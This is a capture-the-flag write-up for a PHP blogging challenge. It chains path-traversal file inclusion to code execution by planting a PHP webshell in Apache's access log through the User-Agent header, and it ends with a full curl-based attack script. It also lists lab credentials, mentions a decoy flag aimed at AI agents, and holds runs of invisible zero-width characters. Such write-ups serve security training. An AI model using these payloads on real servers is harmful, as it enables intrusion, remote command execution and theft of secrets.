← Back to Writeups
CUSTOMMediumWeb

LinguaPress — LFI to RCE via Apache Log Poisoning

XESXOR9/2/20265 min read
#web#custom#medium#apache_access_log_inclusion#environment_variable_exfiltrat#lfi_to_rce_via_log_poisoning#path_traversal_lfi#user_agent_php_injection

LinguaPress — LFI to RCE via Apache Log Poisoning

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection

Summary

Walkthrough of the CUSTOM Web LinguaPress — LFI to RCE via Apache Log Poisoning. Task: PHP multilingual blogging platform with a language switcher that passes the lang GET parameter directly to include() without sanitization. Solution: Path traversal LFI (4 levels of ../) to read

Description

LinguaPress is a multilingual blogging platform that allows content creators to publish articles in multiple languages. The platform features a built-in language switcher, article management with categories and tags, a public-facing blog with search and comments, and an admin panel for content management. The goal is to find a way to read a secret flag file stored on the server. The platform supports English, French, and Spanish through a dynamic language loading system. Pay attention to how language files are referenced and loaded. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A PHP 8.1 multilingual blogging platform running on Apache/2.4 with mod_php behind nginx/1.25.5 reverse proxy on Alpine Linux. The platform uses a language switcher that loads language files via PHP's include() function. The lang GET parameter is passed directly to include() without sanitization, creating a Local File Inclusion (LFI) vulnerability. The flag is stored as a server environment variable, requiring Remote Code Execution (RCE) — not just file read — to retrieve it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123, Admin: admin@linguapress.com / Lpr3ss#Adm!n2k

Tech Stack: PHP 8.1, Apache/2.4 with mod_php, nginx/1.25.5 reverse proxy, SQLite, Alpine Linux, Bulma CSS

Analysis

Language Switcher — LFI Vector

The language switcher generates URLs like:

  • /page?lang=en.php
  • /page?lang=fr.php
  • /page?lang=es.php

The lang parameter includes the .php extension directly in the URL, suggesting the server-side code does something like:

php
include("langs/" . $_GET['lang']);

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This is a classic unsanitized include() pattern — the parameter value is concatenated directly into the file path with no validation, filtering, or extension appending.

Server Information Leak

An HTML comment in the page footer reveals critical server details:

html
<!-- System info: Apache/2.4 mod_php - logs at /var/log/apache2/ -->

This tells us:

  1. Apache/2.4 with mod_php — PHP code in included files will be executed (not just read)
  2. Log path — Apache access logs are at /var/log/apache2/access.log ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag Trap

The HTML source contains multiple instances of a fake flag:

FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

This decoy is embedded in HTML comments and hidden <div> elements, designed to trick automated scanners and AI agents into reporting a false positive. The real flag is NOT in the HTML source.

Real Flag Location

The actual flag is stored as a server environment variable (FLAG). The file /root/flag.txt may also contain it but is chmod 600 and owned by root, making it unreadable by the web server process. This means:

  • Simple file read (LFI alone) is insufficient
  • RCE is required to run printenv FLAG or equivalent ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Confirm LFI via Path Traversal

Test path traversal with increasing directory depth. The langs/ directory is 4 levels deep from the filesystem root, so 4 levels of ../ are needed:

bash
# 3 levels — does NOT work (not deep enough)
curl -s "$URL/page?lang=../../../etc/passwd"

# 4 levels — SUCCESS
curl -s "$URL/page?lang=../../../../etc/passwd"

The response includes /etc/passwd contents, confirming Alpine Linux (users with /bin/ash shell):

root:x:0:0:root:/root:/bin/ash
...
www-data:x:82:82:Linux User,,,:/home/www-data:/bin/ash

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Verify Apache Access Log is Readable

bash
curl -s "$URL/page?lang=../../../../var/log/apache2/access.log"

The Apache access log is readable and contains User-Agent strings logged verbatim. This confirms both prerequisites for log poisoning:

  1. Log file is readable via LFI
  2. User-controlled data (User-Agent header) is written to the log without escaping

Step 3: Poison the Apache Access Log

Inject a PHP webshell into the User-Agent header:

bash
curl -s "$URL/" -A "<?php system(\$_GET['cmd']); ?>"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This sends a request with the PHP payload as the User-Agent. Apache logs the full User-Agent string into access.log, embedding executable PHP code in the log file.

CRITICAL: The PHP payload must use single quotes around $_GET['cmd']:

php
<?php system($_GET['cmd']); ?>    # CORRECT — single quotes
<?php system($_GET["cmd"]); ?>    # BROKEN — Apache escapes " to \"

Apache's mod_log_config escapes double quotes in logged header values (" → \"), which would cause a PHP parse error. Single quotes are NOT escaped by Apache, so the payload remains syntactically valid PHP when included. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Trigger RCE and Read the Flag

Include the poisoned log file while passing a command via the cmd parameter:

bash
curl -s "$URL/page?lang=../../../../var/log/apache2/access.log&cmd=printenv+FLAG"

How it works:

  1. PHP's include() loads access.log as if it were a PHP file
  2. Most of the log is plain text (output as-is)
  3. When PHP encounters the <?php tag in the poisoned User-Agent field, it enters PHP mode
  4. system($_GET['cmd']) executes with cmd=printenv FLAG
  5. The printenv FLAG command reads the FLAG environment variable
  6. The flag value is output in the HTTP response ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full Attack Script

bash
#!/bin/bash
URL="https://bbac0cea-03f5-4353-be48-35bebe3a393f.labs.hackadvisor.io"

# Step 1: Confirm LFI
echo "[*] Testing LFI..."
curl -s "$URL/page?lang=../../../../etc/passwd" | head -5

# Step 2: Verify log access
echo "[*] Checking log readability..."
curl -s "$URL/page?lang=../../../../var/log/apache2/access.log" | tail -3

# Step 3: Poison the log with PHP webshell
echo "[*] Poisoning access log..."
curl -s "$URL/" -A "<?php system(\$_GET['cmd']); ?>" > /dev/null

# Step 4: Execute command via log inclusion
echo "[*] Extracting flag..."
curl -s "$URL/page?lang=../../../../var/log/apache2/access.log&cmd=printenv+FLAG" | grep -oP 'FLAG\{[^}]+\}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering apache_access_log_inclusion, environment_variable_exfiltration, lfi_to_rce_via_log_poisoning, path_traversal_lfi, user_agent_php_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-11 • CUSTOM • LinguaPress — LFI to RCE via Apache Log Poisoning • Difficulty: Medium